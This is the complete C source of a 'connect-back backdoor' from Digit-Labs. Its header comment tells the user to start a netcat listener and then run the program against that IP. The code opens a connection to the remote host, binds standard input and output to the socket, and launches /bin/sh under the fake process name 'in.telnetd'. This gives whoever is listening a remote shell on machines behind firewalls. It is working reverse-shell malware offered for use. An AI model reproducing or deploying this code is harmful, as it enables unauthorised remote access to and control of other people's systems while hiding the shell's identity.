/* Digit-Labs Connect-Back Backdoor
*
* Use this backdoor to access
* machines behind firewalls.
*
* step 1. setup a listening port
* on your box e.g.
* nc -l -p 4000
*
* step 2. Run this file :
* ./cbd <ip_of_listening_machine>
*
* grazer@digit-labs.org
* http://www.digit-labs.org
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>

#include <netinet/in.h>
#include <netdb.h>

int fd, sock;
int port = 4000;
struct sockaddr_in addr;

char mesg[] = "\n[ Digit-Labs Connect-Back Backdoor ]\n * Connected to CommandLine...\n";
char shell[] = "/bin/sh";

int main(int argc, char *argv[]) {
while(argc<2) {
fprintf(stderr, "\n\n %s <ip> \n\n", argv[0]);
exit(0);
}


addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(argv[1]);
fd = socket(AF_INET, SOCK_STREAM, 0);

if(connect(fd, (struct sockaddr*)&addr, sizeof(addr))<0)printf("fucker!\n");

send(fd, mesg, sizeof(mesg), 0);

dup2(fd, 0); // thnx dvorak
dup2(fd, 1);
dup2(fd, 2);
execl(shell, "in.telnetd", 0);


close(fd);


return 1;
}